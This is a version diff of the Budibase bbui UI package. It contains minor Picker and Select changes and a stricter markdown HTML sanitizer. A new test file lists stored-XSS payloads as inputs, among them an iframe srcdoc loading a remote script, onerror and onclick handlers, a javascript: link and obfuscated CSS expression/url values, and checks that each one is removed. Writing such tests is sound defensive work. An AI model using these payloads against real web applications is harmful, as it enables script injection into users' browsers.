@budibase/bbui 3.46.0 → 3.48.0

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "@budibase/bbui",
   "description": "A UI solution used in the different Budibase projects.",
-  "version": "v3.46.0",
+  "version": "v3.48.0",
   "license": "MPL-2.0",
   "module": "dist/bbui.mjs",
   "exports": {
@@ -108,5 +108,5 @@
       }
     }
   },
-  "gitHead": "1444a702ce29cf158b10c31d3f205fc84c463169"
+  "gitHead": "0d896a86074936025b8ef6e3400ab650faeb8d06"
 }

package/src/Form/Core/Picker.svelte

@@ -228,6 +228,7 @@
   {id}
   class="spectrum-Picker spectrum-Picker--size{size}"
   class:has-border={bordered}
+  class:has-subtitle={!!fieldSubtitle}
   class:spectrum-Picker--quiet={quiet}
   {disabled}
   class:is-open={open}
@@ -447,6 +448,12 @@
     border: 1px solid var(--spectrum-global-color-gray-200);
     border-radius: 6px;
   }
+  .spectrum-Picker.has-subtitle {
+    height: auto;
+    align-items: center;
+    padding-top: var(--spacing-s);
+    padding-bottom: var(--spacing-s);
+  }
   .spectrum-Picker--quiet {
     padding: 0 8px;
   }

package/src/Form/Select.svelte

@@ -53,6 +53,7 @@
   export let onOptionMouseleave = () => {}
   export let loading: boolean | undefined = false
   export let searchPlaceholder: string | undefined = undefined
+  export let searchTerm: string | undefined = undefined
   export let required: boolean | undefined = false
   export let wrapText: boolean = false
   export let description: string | undefined = undefined
@@ -114,6 +115,7 @@
     {tooltipMessage}
     {searchPlaceholder}
     {wrapText}
+    bind:searchTerm
     on:change={onChange}
     on:click
     on:loadMore

package/src/Markdown/renderMarkdown.spec.ts

@@ -0,0 +1,43 @@
+import { describe, expect, it } from "vitest"
+
+import { renderMarkdown } from "./renderMarkdown"
+
+describe("renderMarkdown", () => {
+  it("preserves safe HTML used for email layouts", () => {
+    const html = renderMarkdown(
+      '<div style="color:red;padding:4px"><span>Alert</span><table width="600" cellpadding="4"><tr><td colspan="2">Body</td></tr></table></div>'
+    )
+
+    expect(html).toBe(
+      '<div style="color:red;padding:4px"><span>Alert</span><table width="600" cellpadding="4"><tr><td colspan="2">Body</td></tr></table></div>'
+    )
+  })
+
+  it("blocks the stored XSS advisory payload", () => {
+    const html = renderMarkdown(
+      '<iframe srcdoc="<script src=https://example.com/payload.mjs></script>"></iframe>'
+    )
+
+    expect(html).toBe("")
+  })
+
+  it("removes executable attributes, URLs, and styles", () => {
+    const html = renderMarkdown(
+      '<div class="spectrum-Modal" onclick="alert(1)" style="color:red;position:fixed;background-image:url(https://example.com/pixel)"><img src="https://example.com/image.png" onerror="alert(1)"><a href="javascript:alert(1)">Link</a></div>'
+    )
+
+    expect(html).toBe(
+      '<div style="color:red"><img src="https://example.com/image.png" /><a>Link</a></div>'
+    )
+  })
+
+  it("removes unsafe values from allowed style properties", () => {
+    const html = renderMarkdown(
+      '<div style="color:url(https://example.com/x);width:expression(alert(1));padding:4px">Direct</div><div style="color:u\\72l(https://example.com/x);width:e\\78pression(alert(1));font-family:u/**/rl(https://example.com/x);padding:4px">Obfuscated</div>'
+    )
+
+    expect(html).toBe(
+      '<div style="padding:4px">Direct</div><div style="padding:4px">Obfuscated</div>'
+    )
+  })
+})

package/src/Markdown/renderMarkdown.ts

@@ -28,8 +28,81 @@ const MARKDOWN_TAGS = [
   "thead",
   "tr",
   "ul",
+  "div",
+  "span",
 ]
 
+const MARKDOWN_ATTRIBUTES = {
+  "*": [
+    "align",
+    "bgcolor",
+    "dir",
+    "height",
+    "lang",
+    "role",
+    "style",
+    "valign",
+    "width",
+  ],
+  a: ["href", "title"],
+  img: ["alt", "src", "title"],
+  li: ["value"],
+  ol: ["reversed", "start", "type"],
+  table: ["border", "cellpadding", "cellspacing"],
+  td: ["colspan", "headers", "nowrap", "rowspan"],
+  th: ["colspan", "headers", "nowrap", "rowspan", "scope"],
+}
+
+const SAFE_STYLE_VALUE =
+  /^(?![\s\S]*(?:\\|\/\*|(?:expression|url)\s*\())[\s\S]*$/i
+const MARKDOWN_STYLE_PROPERTIES = [
+  "background-color",
+  "border",
+  "border-bottom",
+  "border-collapse",
+  "border-color",
+  "border-left",
+  "border-right",
+  "border-spacing",
+  "border-style",
+  "border-top",
+  "border-width",
+  "color",
+  "display",
+  "font",
+  "font-family",
+  "font-size",
+  "font-style",
+  "font-weight",
+  "height",
+  "letter-spacing",
+  "line-height",
+  "margin",
+  "margin-bottom",
+  "margin-left",
+  "margin-right",
+  "margin-top",
+  "max-height",
+  "max-width",
+  "min-height",
+  "min-width",
+  "padding",
+  "padding-bottom",
+  "padding-left",
+  "padding-right",
+  "padding-top",
+  "text-align",
+  "text-decoration",
+  "vertical-align",
+  "width",
+]
+
+const MARKDOWN_STYLES = {
+  "*": Object.fromEntries(
+    MARKDOWN_STYLE_PROPERTIES.map(property => [property, [SAFE_STYLE_VALUE]])
+  ),
+}
+
 export const renderMarkdown = (markdown: string | undefined) => {
   if (!markdown) {
     return ""
@@ -39,10 +112,8 @@ export const renderMarkdown = (markdown: string | undefined) => {
 
   return sanitizeHtml(html, {
     allowedTags: MARKDOWN_TAGS,
-    allowedAttributes: {
-      a: ["href", "title"],
-      img: ["alt", "src", "title"],
-    },
+    allowedAttributes: MARKDOWN_ATTRIBUTES,
+    allowedStyles: MARKDOWN_STYLES,
     allowedSchemes: ["http", "https", "mailto", "tel"],
     allowedSchemesByTag: {
       img: ["http", "https"],